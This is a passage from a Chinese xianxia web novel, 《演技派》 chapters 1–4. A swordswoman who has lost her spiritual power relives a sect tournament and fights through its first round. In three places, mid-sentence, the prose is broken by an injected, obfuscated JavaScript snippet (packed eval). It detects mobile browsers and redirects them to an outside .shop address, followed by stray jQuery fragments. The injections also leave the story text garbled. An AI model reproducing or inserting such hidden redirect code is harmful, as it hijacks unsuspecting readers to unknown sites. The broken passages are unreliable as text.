《演技派》 1. 第 1 章 天已经死了。最后一缕光从山巅撤走,风中尽是血与焦土的味道,同行数万人,此刻散落在各个地方,辨不清形状。 沈复宁跪在碎石间,左臂软塌塌的垂着,右手的剑布满裂纹,灵力像是装在破碗中的水,灌进去就漏出来。 她不知道自己靠着什么站着,但大概不是体力,只是某种不肯倒下去的惯性。 对面那个东西没有具体的形状,像是一团暮霭勉强聚成人形,嘴角的弧线令人作呕,它在笑,从一开始就在笑。 “这次就到这里了?”这个声音粘腻,轻慢,哪怕已经听到多次,却依旧令她反胃。 沈复宁嘴角勾起一个嘲讽的笑,强撑开眼皮轻蔑的看了它一眼,将全身剩余的一切连带着情绪全部压进右手,冲向那个模糊的轮廓,剑尖没入,没有血肉的触感,像捅进浓雾,她不知道自己刺中了什么部位,但确实刺中了。 然后它抬了抬手,随意一挥,像赶走一只蚊虫。 沈复宁飞了出去,天与地在视野里疯狂交替,风拖着长长的啸声从耳边掠过,那道影子在山巅变得越来越小,终于移开了目光。 风声骤然抽离,黑暗从四面八方涌上来,像一只手合拢了掌心…… 沈复宁猛地睁开眼睛。 入目是素白的帐顶,一线天光从窗棂缝隙漏进来,落在她脸上,细而薄,带着清晨特有的凉意。后背是柔软的褥子,鼻尖萦绕着淡淡的安息香。她怔怔地躺着,胸口剧烈起伏,手心全是汗。 她慢慢坐起来,低头看自己的手,完好无损,没有血,没有裂纹。左臂能活动自如,右掌心里还残留着握剑的触感,指节僵硬,像是真的攥了什么东西很久很久。她试着张开五指,关节发出细小的咔嗒声。 沈复宁心中十分明白,这不是一场梦,而是实实在在不久前发生过的事情,而这件事情,她已经经历了四次,她将自己埋在被子中叹了口气,才从床上起来。 她摇了摇头,推开门走了出去,天边的阳光刺得她睁不开眼睛,她却像是在找虐一般,强撑起眼皮,直视着那使她痛苦却又向往的光亮。 她回了房间,简单洗漱后推门而出。晨雾还没散尽,沿着石阶往演武场走,声音先一步漫过来——剑刃破风的锐响、拳脚击打木桩的闷声、有人被摔倒在地时短促的“啊”声,声音不绝于耳。 听着这些声音,沈复宁愣了下,才意识到,她应该是回到了仙门大比之前,像是习惯一样,她没有思考的就走到了演武场。 她刚踏上演武场边沿,便有人眼尖发现了她,“师姐总算来了!”不知谁喊了一声,呼啦一下,七八个人围了上来,眼睛亮晶晶的,有敬慕,也有跃跃欲试。 “师姐,前些天那套剑式中段我总是接不顺。” “师姐师姐,能不能指点一下我的身法?” “师姐,跟我过两招吧,就两招!” 七嘴八舌的声音把她围在中间。她看了看这些熟悉的面孔……梦里他们一动不动地散落在碎石间的画面在脑海闪了一下,很快被眼前鲜活的神情盖过去。 她弯了弯嘴角,随手接过一人递过来的木剑,“行啊。” 场上的几人面面相觑,没有丝毫迟疑就拉开了架势。 晨光正好破开最后一层薄雾,落在了沈复宁有些怔愣的目光中。 过了会儿,才意识到,又是群攻,她垂下目光,扭了扭自己的手腕。 挥剑的那一瞬,尝试了调动自己体内的灵力。 灵力从丹田涌出的那一刹,像是一只手伸进了干涸的井,只捞上来一把湿漉漉的泥沙,那点微薄的灵气在经脉里勉力流转,细如发丝,断断续续,连催动木剑身上的最基础铭文都做不到。 她心中猛地一沉……一种力不从心的虚浮感涌上,她的灵力变弱了。 但对面七八个人已经冲了过来。 最前面的是小师妹,一柄木剑劈头盖脸地斩下,带着呼呼风声,剑尖上凝着一层淡青色的灵光。她侧身避开,脚步交错间本能地运转心法,想要借力反打……结果灵力到手腕就断了,木剑差点脱手。 还没等她回过神,第二剑、第三剑已经接踵而至,左边一道术法凝成的气刃斜斜切来,右边有人绕后,掌风直取她腰侧。若是平日,她只需放出护体灵光便能震开这些攻击,再以灵力催动剑势,一招就能让他们全躺下,但此刻她连维持身法的灵力都捉襟见肘,只能靠纯粹的身体反应闪避。 “师姐今日怎么不用灵力?”有人嘀咕了一声。 她没答话。牙关紧咬,手腕一翻,木剑以一个极刁钻的角度从下往上撩去,没有灵光,没有剑气,只是干干净净、千锤百炼的剑招。这一剑恰好穿过小师弟剑势的空隙,剑脊拍在他手腕上,他吃痛松手,木剑飞了出去。 “漂亮!”旁边有人喝彩,但语气里带着疑惑。 她趁着这个空档拉开了两步距离,胸膛起伏得比平时剧烈。没有灵力的加持,纯粹的体力消耗比她想象的大得多。但她脸上没有露出任何异样,只是将木剑换到右手,剑尖低垂,摆出了一个极朴素的起手式。 “再来。” 那几个人对视一眼,不再留手,术法与剑招齐出,灵光在演武场上炸开一片绚烂。她像一尾游鱼穿梭其中,木剑精准地格挡、拨挡、反击。 没有灵力的加持,每一剑都只能靠时机和角度取胜。她打得很吃力,额角的汗珠滚落下来模糊了视线,但她心里反而升起一股近乎倔强的狠劲。 一个、两个、三个,她靠着纯粹的力量和技巧,将逼近的人一个一个逼退,木剑在她手中像是活了过来,没有灵光却比任何术法都要凌厉,最后她一剑横扫,剑风带起的劲道将最后两人震退三步,踉跄着险些跌倒。 演武场安静了一瞬。 然后爆发出比之前更热烈的喧哗。 “师姐你……你全程没用灵力?”有人瞪大了眼睛,声音都变了调。 “天哪,我们用了术法还被她压着打……” “那最后一剑没有灵力加持怎么会有那么大的劲道?纯粹是肌肉和骨骼的力量?” “这次仙门大比,我们太初宗一定能够再续辉煌!” 他们围上来,七嘴八舌,眼中的敬慕比之前更深了一层。 小师妹揉着发红的手腕,用一种近乎崇拜的语气说:“师姐你刚才怎么不用灵力啊?我还以为你受伤了,结果你光靠剑招就把我们全收拾了……这要是在大比上,同辈弟子谁是你对手?” 沈复宁听着这些话,嘴角牵出一个淡淡的笑,没有解释。只有她自己知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845613|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 道,不是不想用灵力,是用不出来。丹田里那点可怜的灵气此刻已经彻底枯竭,像一口被舀干了的水井,只剩下井底潮湿的淤泥。 她将木剑扔给了最近的一人,对众人点了点头,“你们配合得不错,继续练。”语气平静得像是刚才什么都没发生。 走出演武场的时候,身后又响起了训练的声音。她脚步平稳,一步一步沿着石阶往山上走,直到转过那道弯、彻底脱离了众人的视线,才停下来,扶着一棵老松树,慢慢蹲了下去。 手心全是冷汗,心跳快得像擂鼓。 沈复宁闭上眼睛,脑海里又浮现出那道模糊的轮廓,那道笑,那个漫不经心的挥手,以及无处不在的窥探感,回来这几天,她已经尽可能地强迫自己不去想这些了。 她睁开眼,深吸一口气,站起来继续往上走,恣意峰在宗门最深处,是她独居的峰头,清幽安静,少有人来,回到自己地盘再细查。 石阶两侧的灵植在晨风中轻轻摇晃,露珠从叶片上滚落,砸在石面上溅开细小的水花。她走得很慢,每一步都踏得实实在在,像是要确认脚下的土地是真实的、自己还好好活着的。 终于到了峰顶。推开竹舍的门,一股熟悉的清苦药香扑面而来。她关上门,背靠着门板,缓缓滑坐到地上。 盘膝内视,神识沉入丹田,那里一片灰蒙蒙的,原本充盈的灵气此刻只剩下薄薄一层,像大旱之后的湖底。 她的手指不自觉地攥紧了衣襟,仙门大比就在眼前,若是像前两次不参加偷偷溜下山,他们会不会重现之前的悲剧。 但若是像上一次一样参加的话,现在的她没有灵力,自己还能帮到他们吗? 她闭了闭眼,将那股慌乱压下去,那又怎样,今天不就证明了,哪怕不用灵力,自己也是一顶一厉害的。 她也知道,今天那几个师弟师妹不过是宗门里的普通弟子,仙门大比上遇到的可不会是这种对手。 她站起身,走向蒲团,开始打坐,无论如何,先把灵力恢复再说,半个时辰后,她再次睁开眼,脸色比之前更难看了。 完全不行,现在唯一的好消息大概就是境界没有因为灵力的枯竭而下跌了,她现在还是四极,最起码能瞒一段时间。 “阿宁,你在吗?” 楚予?她怎么会来,在仙门大比这种关键的时刻,她不是应该被窃月长老关在忘忧峰画符吗? 前两次也正是因为这个原因,她才能够在仙门大比这种重要时刻偷溜下山,当初她还担心仙门大比自己没回去,到时候没及时赶回去宗门长老还不知道要怎么发脾气. 可到最后,她也只见到了楚予这一个太初宗的人。 见到的时候,楚予已经没了机会对自己发脾气,也不知他们遇到了什么。 也就上一次,规规矩矩参加了仙门大比,又夺得魁首,想着看看他们都做了什么,可最后还是走上了老路。 “沈复宁,你在吗?” 门外人的声音带上了两分焦急,“你不开门我就进去了。” 这声音将她从自己的思绪中拉了出来,又不知是想到了什么,沈复宁抱了抱自己,站了起来,呼出口气,理了理自己的思绪,将一切情绪压了下去,就像寻常一般,将门推开,“小鱼儿,怎么了?” 2. 第 2 章 楚予一身淡青色衣裳,手腕上的银镯,在看见沈复宁的时候发出阵阵轻响。她抿了抿嘴唇,抬起手,就往她头上轻拍了下,“没大没小的,喊师姐。” 沈复宁揉着自己的头,不经意的掠过了这个话题,微微侧身,像是在保护自己一般,“你来做什么?不会又有什么稀奇古怪的符咒,要往我身上试的吧。” 她看着楚予突然眨了眨眼,没有丝毫犹豫的往屋内走,却还是迟了一步,沈复宁低头看着自己被楚予捏着的胳膊,恨不得给对方跪下,“师姐,我的好师姐,求你了,仙门大比就在眼前,你也不想太初宗的一代天骄就此折在你们师徒手中吧。” 楚予却像是见到了什么好玩的一样,对于这番感人肺腑的话没有丝毫动容,反倒是站在一旁抱起了手,饶有兴致的看着沈复宁在那撒泼打滚。 这么长时间没见了,突然有些怀念沈复宁这撒泼打滚的样子了。 沈复宁偷摸朝楚予看了一眼,借着对方松手的契机,转头就朝自己屋跑,正纳闷楚予为什么不拉着自己呢,头就撞在了门上,发出“咚”的一声。 她一脸幽怨的揉着自己的头,看向楚予,抬起自己的另一只手,手上拿着的是她刚刚从门上揭下来的符纸。 楚予轻笑出声,走到她的身旁,掩耳不及迅雷之势又在她脑门上贴了张符,冲着她手上的符纸微抬下巴,“最低阶的结界符。”又揉了揉贴在她脑门上的“止痛符,有用吗?最新研究出来的,本想着在此次大比中使用的,正好在你身上实验一番,跟丹药有什么区别,能代替吗?” “不能!”沈复宁恶狠狠的冲楚予道,“还好当初第一个摸到的不是符,要不然指不定被你们两个怎么折磨。” “好了。”楚予将符纸从她头上取下,语气变得严肃,“不玩了,是真的有事情找你,有关仙门大比的。” 可能是心理原因,沈复宁听楚予说的仙门大比怎么有点又爱又恨的味道在,随意的“哦”了声,乖巧的站在她的面前,等待着楚予的下文。 楚予轻拍了下沈复宁无意识抠捏布料的手,见对方真的朝自己看过来才开口,语气比刚刚轻柔了许多,“掌门闭关,有件东西,托师父交给你。” 沈复宁点了点头,克制住自己躲避的动作,轻微的触感便从后背传来,在她晃神的前一刻,看到的是楚予略显诧异的表情,沈复宁却勾起了唇角。 这移位符对她来说是当下最快能够到达忘忧峰的方法了,就是不知道,跟她换位的会是什么东西,到时候能不能就扣在自己的院中。 感觉到周围环境发生了变化,沈复宁慢慢睁开右边的眼睛,想要环视一,却没想到,等待自己的是一方湿漉漉的手帕,眼看着就要碰到自己的脸了。 吓得沈复宁一个激灵,向后一翻,稳稳当当的落在了地下,朝那边一看,才发现一直放在那边的珊瑚没了。搞清了状况,沈复宁脸上的笑藏都藏不住。 “行了,别美了。”温润的声音在一旁响起,随之而来的还有刚刚险些“摸”到她的手帕。 沈复宁下意识伸手将东西接了过来,朝罪魁祸首一看,关缈正似笑非笑的看着她,“还不过来。”声音变得有些急促。 “哦。”沈复宁一脸不情愿的朝她走去,不情愿的开口,“小师……”一道刻意的咳嗽声响起,她口中的话硬生生转了个弯,“二师父。“说完,充满感激的朝姗姗来迟的楚予看了一眼。 楚予看都没看她,就走到自己师父身旁,冲关缈眨了眨眼,“行了师父,就那点事情,您至于记到现在吗?” “就是。”沈复宁在心中暗暗说道,“心眼也太小了吧,不就是个称呼。” “什么叫不就是个称呼。”关缈拍着桌子站了起来,“当时抓周的时候,你要是先抓了符咒多好,也不至于好好的天赋给浪费了。” “那也不是我决定的,谁让你们将剑放的离我那么近。”沈复宁不服,“再说,那时候我才多大,懂什么,你也不知道将符咒弄得好看点。” 沈复宁越说越来劲,“真的是,我师父放的那把盛风剑多么好看,亮闪闪的,那个小孩子能抵挡住这样的诱惑。” 关缈的手越握越紧,当初就是着了余顷霁的道了,说什么那木剑丢了,同意她放上了自己的剑,导致现在太初宗一共就两个半用符的,至于为什么是两个半,是因为她看不得这样一个万道天才,就这么沉迷在剑道上,浪费了这么好一副根骨。 想到这儿,关缈看着面前一张一合的嘴,眼神慢慢下移到了对方腰间的扇子上,冷笑一声,这天赋可真是一点都不浪费,啥都学上一学。 看到自己感兴趣的武器或者功法,就卯足了劲去学,废寝忘食的,直到能够掌握,最主要的是,凭什么符咒就像是她逼着学的,关缈越想越生气。 “行了。”关缈有些不耐烦的制止了沈复宁的狡辩,她走到她面前,看着她,“今日怎么让你师姐得手了?” 楚予也朝她看了过去,她也好奇这件事情,平常她不是最不喜欢在关缈面前用符了。用沈复宁自己的话来说,在她面前用符总觉得自己是在关缈的威压下才用的,她不喜欢这种感觉。 “因为灵力不够啊,鬼知道我现在还能不能御剑飞行。”沈复宁在心中怒吼,面上却是笑了笑,随意的坐在了一旁的椅子上,讪笑道:“最近有点累。” “……”你到底在累什么,一个月前开始就不怎么见你从你那峰头下去,跟那些弟子们切磋了,也就今天去了。关缈的眼神中带上了一丝探究,只是还未说话,自己的徒弟开了口,“不是说有东西交给阿宁吗?” 沈复宁看了楚予一眼,从善如流道:“就是,仙门大比还有不到半个月,我还要回去练功。” 关缈克制住朝沈复宁翻白眼的冲动,伸出左手,右手在随意打了个响指,一个盒子瞬间就出现在了左手中。冲沈复宁仰了仰下颌。 沈复宁将盒子拿到手中,打开,里面放着的是一条手链,样式简单,周身错落点缀着圆润朱玉,正中嵌着一枚最大的青绿色宝石,质地通透温润,落在日光下,折射出细碎莹亮的光泽,流光婉转,温润又雅致。 她将手链拿出来,在手上比划着,脑中却在想,之前没有出现过这条手链,可现在……许是面色有些凝重,关缈直接伸手将手链带在了她的手腕上,不容拒绝。 沈复宁还没反应过来,关缈的手就离开了自己的手腕,她眨了两下眼,关缈开口,“怎么?不喜欢。” “喜欢。”沈复宁一笑,下一瞬却皱起了眉,“但您平日不是最厌烦我身上这叮铃咣啷的声音了?” 这声音倒不是她故意发出的,只是学的东西有点杂,就导致她身上挂着的东西有点多,有时候一走路,武器就碰撞出声,引得关缈总是说她,以至于她来忘忧峰之时,每次就顺手拿个东西,绝不多带一个。 关缈一副头疼样,轻“啧”了声,说:“就算没有这个,你身上的声音也一点不少。” “谁说的,我来忘忧峰已经没声音了好吗?”沈复宁不服气。 关缈瞪了她一眼,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈复宁看着心思放在脸上的师徒俩轻笑了声,“不是还要说仙门大比的事情?” 沈复宁自己都没说什么,关缈也不必自己在这伤春悲秋,看了眼自己的徒弟,想让她想开口说些什么,可对方却低着头,也不知是在想些什么。 “唉。”她在心中叹了口气,都是自己做的孽。缓缓开口,“虽然名叫仙门大比,但散修若资质合格,也是可以参加的,当初你爹……” 沈复宁掀起眼皮,朝关缈看过去,楚予也默不作声地拉了拉她的衣角。关缈闭了闭眼,今日是怎么回事,总提到这件事。 轻咳了两声,状似什么都没发生一样,继续往下说,“仙门大比在云墟举行。” 话音刚落,沈复宁和楚予就一副无语的表情,楚予还好,知道给自己师父留点面子,沈复宁就没这么好心了,满脸都是“你看我们傻吗?” 整个大洲谁不知道百年一次的仙门大比在那半空虚浮着的云墟举行。 云墟位于世界中心最上方,是整个世界灵力最充沛的地方,数十个浮岛由藤蔓桥或传送阵相连,存在数不清的密镜和外界绝迹的灵植,中心最大的浮岛建有仙盟会议地。 这仙门大比是便由仙门联盟共同制定的规则,仙门联盟有是以百家仙门中最具话语权的五家为主,仙盟首领百年一换,很不巧,他们太初宗就是这百年的首领。 而沈复宁想听的便是他们如何假公济私,靠着自己代表的身份,给自己的宗门谋取了怎样的福利。 人的心都是偏的,谁都想给自己宗门谋点方便,却又不能太过,便只能从大比规则入手了,反正大比靠的是实力。 至于规则,早知道与晚知道又有什么差别。顶多会让宗门的弟子们针对训练几天,但仙门大比总的来说还是要靠实力的。 她们鄙夷的表情有点太过明显,关缈清了清嗓子,紧绷着脸,就像是什么都没感受到一样,继续讲:“本次仙门大比分为三轮,这第一轮……” 3. 第 3 章 “这第一轮就是很简单的武力比拼,本次参加的人数大约七千,分为七个组,最终每组留下的前一百名进入下一轮。”台上不知是哪位长老在发言。 此话一出,下面一片喧哗,“什么意思,这不就是靠运气吗?” “若是运气不好,自己同门的人没多少,上来就被别的门派的人群殴,上哪说理去。” 有人调笑着反驳,“这话也不对,那要是一个门派的人分到了一起,那不是同门相残吗?。” “今年是怎么回事“往年只有两轮,这次不仅多了一轮,还搞得这么复杂。” 沈复宁抱着剑,半阖着眼看向台上半眯着眼,嘴边挂着笑的老者,摇了摇头。伸出手,看着自己的手掌,五日前,她和楚予带着太初宗的弟子来了这云墟,就感觉到自己的灵力有波动,尽管很细微,但她确定没有感知错误。 正纳闷呢,手心突然多出了一个红色的气团,愣了一瞬,下一刻就想了起来这应该就是分组的凭据了。 抬头去看,果不其然,在场的所有人手中都多出了不同颜色的气团,红橙黄绿青蓝紫,七种颜色,正好七组。 眼看着下面嘈杂声就要再起,台上的人立刻开口,“看来大家都已经明白了这是什么。”话音刚落,右手随意一挥,七扇大门便出现在了众人面前,门上面正中有着不同颜色的水晶。 那老者笑了声,“一刻钟后,请各位按自己气团的颜色,进入相应的门。” 这话一出,场下宣波又起,“什么嘛?我刚看了到许多厉害的人跟我分到了一个组,这该怎么办?”一为手持长枪的女子不满道。 “呵”一个身着墨绿色衣袍的男子冷呵一声,朝沈复宁看了过去,“有我惨,我跟那位在一组。” 女子跟着他的眼神看了过去,就看见沈复宁兴致缺缺的跟身旁的楚予有一搭没一搭的聊着什么,顿时倒吸了一口凉气,语重心长的拍了拍同伴的肩膀,“节哀吧,我前两日刚听师父提了,前几日她在她们门派的演武场,一人挑百人。” “什么?是真的吗?”,男子不可置信。那女子却点了点头,“童叟无欺,而且没用灵力。” 这下,这男子一句话都说不出来了,“所以,我劝你最好一进去就抱紧她大腿。”说着竟生出了一丝优越感,最起码自己那组里面应该没有实力超群的存在,“说不定真能进前一百。”说完,也没看那人的反应,朝着自己宗门走去。 正被两人讨论的沈复宁却浑然不觉,她看向四处张望的楚予,心中疑惑,“你在看什么?” “啊,没什么。”楚予收回眼神,看着沈复宁有些出神,“想看看有什么厉害的人跟我一组。” “你还担心这个?”沈复宁不明白,楚予笑了下,上下打量着沈复宁,今日见面的时候就觉得不对,可没想明白,到了现在才意识到,“你就只拿了玉京剑?” 沈复宁尬笑两下,“玉京剑就够了。” 楚予却皱起了眉头,眼神却没有离开她手上的剑,“这剑……” 沈复宁推了推她,转移了话题,“身后还有师妹师弟们,你不是说同一组的人一起进去,以防被先进的人来个措手不及。”她说着就举起了手,朝身后的太初宗弟子喊道:“红色的来这里。” 听到的人纷纷走到了沈复宁身后,其余的弟子有样学样,皆分了组站好,只是沈复宁却朝四周看了一眼,突然碰到了熟悉的面孔,笑着点了下头,便匆匆移开视线,倒像是在避着什么。 此次太初宗一共来了三十六名弟子,分到红色组的人应当是最多的,足足九人。 沈复宁此刻站在她们组的最前面,当时她听到关缈让她当她所在颜色的组长时,她的内心是拒绝的,但现在她又感到庆幸,不然刚刚楚予问她这剑是不是与之前有些不一样,她也不知该如何转移她的视线了。 毕竟,这个时候她应当是不会锻造武器,而楚予这个人,又偏偏具有打破砂锅问到底这种令她恐惧的精神。只要她开口说是找人帮她改过,或是自己改了,回去之后,一定会去查探究竟是不是有这回事儿。 沈复宁摇头笑了笑,这师姐细心的不行,只要被抓住一处把柄,就需要编造无数个谎言去圆,这对沈复宁来说轻而易举,但至少,现在她不想骗她。 一刻钟很快就到了,那七扇门同时打开,场中顿时出现了不同寻常的事情,靠近门的地方顿时变了,有的顿时烫的不行,有的则是一片寒冷,还有的刮出了一阵阵大风…… 在场的众人目瞪口呆的看着那场景,老者则笑出了声,一副无辜的神情,“我没说吗?不同的门里面是不同的环境,随着时间会发生变化,变化是一瞬间的事情,没人知道下一刻会是怎样的。” 台下表情精彩各异,沈复宁这时候都想给这主办方鼓个掌了,饶是她参加过,但来一次她依旧觉得提出这想法的人该死。她环顾四周,点了点头,嗯……跟她一样想法的人大概不少。 “哦,还有。”老者再次开口,下面的人都开始了不耐烦,他却丝毫不在意,“为保证各位的生命,你们手中的气能够实时反应出来你们的身体状况,只要气的颜色消失,瞬间变会被推出门,直到剩下最后一百人。” 老者也不在乎他们的想法,若是不喜欢,不来不就好了,但面上依旧平静,“祝君好运。”说完,人便消失的无影无踪。 参加了比赛的人也不可能此时退赛,一个个都骂骂咧咧的走了进去。 沈复宁看了眼自己身后的人,轻笑了声,“我们最后进去。” 站在她身后的弟子们,听见了她这句话都在暗暗摩拳擦掌,距她最近的一个师妹凑得更近了些,“师姐,是不是有什么新的计划阿。” 此刻站在最前面沈复宁并没有他们像的那样镇定自若只有对重回旧地的复杂心情,毕竟,当初她刚进去,靠着自己境界和灵力的压制,第一个场景还未变化,她这组就已经决出了晋级的人选。 现在想来,真是悔恨……当初就应该在三招之内解决的,所有武器同时出手,那场景该多么壮观,也能让她现在心情平衡一点。 跟在她身后的师弟,看着沈复宁略带怀念的眼神,有些摸不着头脑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845615|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 倒是一旁的师妹,跃跃欲试的神情更明显了些,对沈复宁讲:“师姐,一会儿,你可不要出手太快,给我们点成长的空间。” 此话一出,沈复宁更是欲哭无泪,千言万语都化作了一句话,“放心,一定会让你们好好成长的。” 跟沈复宁不同的是跟在她身后的弟子们,各个兴奋不已,毕竟他们是在师姐的阴影下长大的,通俗点就是,但凡在太初宗没被沈复宁以一挡十打趴下过的,出门不要说自己是太初宗的弟子。 而现在,他们跟在了她的身后,晋级是板上钉钉的事,而这次,也终于轮到他们揍别人了,还可以放开了手的去揍,反正最后有师姐。 沈复宁看了眼身后将“我要搞事”这四个字写在脸上的师妹师弟们,若是之前,她会大言不惭的认同他们的话,而现在,沈复宁只会干呵两声,然后嘱咐道:“劝你们自己小心,不到万不得已我是不会出手的。” 果然,困境使人成长,那个不可一世的沈复宁从不周山坠落的那刻起,就已经慢慢消散不见了,更何况,现在情况更甚,她的灵力都没了,虽然自信依旧存在,但却没了那时的锐气。 沈复宁握紧了玉京剑,慢慢呼出口气,带他们走了进去。 确实是最后,场中的人都走了差不多了,沈复宁才领着他们朝门那边走,自己落在了最后,她前脚刚走进去,门后脚就关了起来,与此同时,那七扇门上的水晶,脱离了门的束缚,升上了空,不断变大,最后分散在各个方位,上面显示的赫然就是各个门里面的情况。 对这场大赛感兴趣,却无法到来的修者,只要身上有观视镜,就能够实时看到大赛情况。 在观赛席的诸位,听到这次大赛的规则,纷纷都露出了看好戏的微笑,只有那些所在门派有人参加的人脸上,显出了隐隐的担心。 “这次大比听起来真有意思,比往年的不知道要精彩多少倍。” “而且,这次参加的天骄也有好多,太初宗的沈复宁和楚予,韶韵阁的少阁主,药王谷的少谷主……也不知道他们能坚持到第几轮。” “不止,爻机山的阵法天才,砍辟门的大师姐,不都来了,我看好他们。” “买定离手,买定离手了……我们就赌这次大比的前七名会是那几个人。” 每届仙门大比的获胜人数不定,都是按照参加人数化的,只是这次仙门大比的比赛规则有些变了,他们连后两轮是什么都不知道,更惶恐知道这次又会是那几个人,那几个门派,组成一队,下山历练。 观众席瞬间喧闹了起来,不同的名字都响了起来,其中声势最大的就是这几个人了,只是零零散散中还能听到俞时逢的名字。 众人有些疑惑,这是谁,没听过,那吆喝着买定离手的人却神秘兮兮的,不再开口,这可是她家少谷主的小道消息,至少她们能够猜到前七名,到时候,赚他个盆满钵满。 刚进入门中的沈复宁对此全然不知,否则她必定是要赌上一赌的。 门后是一片陌生的空间,由于她刚刚的有心之举,她的是最后进去的人。 4. 第 4 章 沈复宁脚踩实的第一秒钟,还没来得及环顾周围,就有一道强悍的剑气朝她冲了过来。她还没看清,那种刻在骨头中的警惕的肌肉记忆就替她做出了决定。 瞬间,她的膝盖微屈朝后仰倒的同时脚下一旋,那柄剑擦着她的腰下而过,而她刚刚站着的地方,被一鞭子抽的碎成了粉末,被狂风刮起,不知所踪。 而身后跟着的弟子们,也纷纷被其他门派的人给缠住了,想来是将他们太初宗视为头号公敌了。 沈复宁咬紧了牙,朝对方看去,看到熟悉面孔的时候,硬生生笑了出来,这两个人还真是没有丝毫改变。 当初仙门大比,第一个朝她出手的就是他们两个,一个是苍松门的吴致,一个是云岚宗的许箐颂,这两个宗门向来交好,想必是刚看到分组情况之时,就已经想好了要先将沈复宁给除掉。 当时,沈复宁只觉得他们倒霉,他们的莽撞行事只会给她带来便利,但现在,沈复宁转了转手腕,放弃了尝试调动灵力的行为,不出击,仅仅是躲。 几击不中的两人,对视一眼,再度扑来。 许箐颂催动灵力,剑气暴涨,一道冷白色的剑芒破空而至,吴致同时扬鞭,在空中画出一个火圈,从另一侧兜头罩下。 沈复宁退无可退,右手按上了剑柄,却又在剑和鞭子即将命中她的那一刹,松了手。与此同时,她做出了个令人匪夷所思的动作,朝前迈了半步,整个人钻进了两股攻击之间的缝隙。 剑从她左肩外侧掠过,带上了些许血滴,偏偏沈复宁毫无所觉一般,趁机拔剑,将那鞭子缠在了自己的玉京剑上。两人谁都没有预料到她这半步,纷纷呆愣了一瞬。 就这一瞬,沈复宁右手用力一拉,将吴致扯到了自己的面前。对方震惊的瞪大了双眼,想借力将玉京剑从沈复宁手中夺过来,许箐颂也没有闲着,从侧方绕过,手中剑直直朝着沈复宁的要害刺去。 沈复宁侧身一躲,又将吴致推到了自己身前,左手迅速拔出玉京剑剑柄,出来的却不是剑,而是一柄短刃匕首。许箐颂的剑还未来得及收走,沈复宁的匕首就已经刺进了吴致的身体。 下一刻,吴致便在两人面前消失不见,沈复宁还没来得及抬头,脚下的大地猛地凹陷,四周顿时响起了各种疑惑的声音,但仅眨眼的一刻,各种飞行法器,灵力羽翼又亮成一片。 沈复宁在坠落的一瞬间,就朝还在伸着剑的许箐颂看了过去,勾唇一笑,没等对方反应过来,拉上了对方的手腕,借力腾空,脚尖点在她的剑尖上,左手出刃,踩上她肩膀的下一刻,便同吴致一起出局了。 还好,在这个空间中的伤并不会全然带出去,否则她一定会被这两个门派追杀到天涯海角的,沈复宁此刻竟然还有心情想这些,可脚下的动作却一刻未停。 她整个人横移出击,玉京剑出鞘,剑尖在一颗滚落的巨石上一点,借力再跃,三息之内,连踩七块碎石,硬是在流沙中跳出了一条路,稳稳落在还未陷落的边缘岩石上。 她回头看了眼,满意的点了点头,太初宗所有弟子都在一瞬间做出了行动,甚至有两个师妹十分聪慧,借力打力,趁自己跳起来的一瞬,让两人提前结束了大比。 沈复宁抬起手就想给那两人鼓鼓掌,只是还未实施,周身的环境猛地变成火山林。 她的瞳孔里映射出两道红光,一道是脚下陡然裂开的岩浆纹路,另一道是正前方疾刺而来的枪尖,上面还附着着从地底喷涌而出的烈焰。 那枪的速度太快了,快到只在沈复宁的视网膜上留下一道橘红色的残影,她眼一闭,牙一咬,在枪尖触及她衣衫的前一瞬腰猛地一拧,整个人像一张被拉满的弓突然松开,朝右侧旋了出去,火焰擦着她的左肋,衣料被高温烫的卷了边,皮肤上传来一阵灼痛。 她却猛然拔出玉京剑,刺向了那个正在与太初宗的秦卓伊打斗的人身上,那人消失的瞬间,对面的师妹似乎还没意识到发生了什么。 直到沈复宁的声音出来,“别发呆,左前方,天斩三十二式。” 话音未落,秦卓伊就像肌肉记忆一般,朝着沈复宁说的方位,长剑一挥,一跃而起,踏在对方的长枪之上,右手同时落在对方的脖颈处。 沈复宁再朝那边看去,便已没了人影。 “师姐。”秦卓伊看见她身上的伤势皱起了眉,抬手想去查看,只是还未伸出手,沈复宁就拔剑直直朝她刺了过去,吓的她一动不敢动,直到后面传来一声痛喊。 沈复宁朝秦卓伊望过去的瞬间,两人周围就已经形成了包围圈,将两人围在了里面。她朝四周看了过去,不知她们两人,她们这组大大小小围了得有八九个圈。 看来,有些人不耐烦了,改了策略,选择组团先将能力高的人淘汰,反正最后晋级的有一百人,只要他们人多,还怕斗不过几个人。 四周几十个人都虎视眈眈的盯着两人,见两人没动作,有人甚至笑了出声,“大伙们,兴奋吗?这可是太初宗的天骄啊。” 话音刚落,数十人齐齐朝沈复宁两人攻来,沈复宁看着这场面皱起了眉头,握着玉京剑的手更紧了些,她朝后退了两步,贴在了自家师妹的背上。 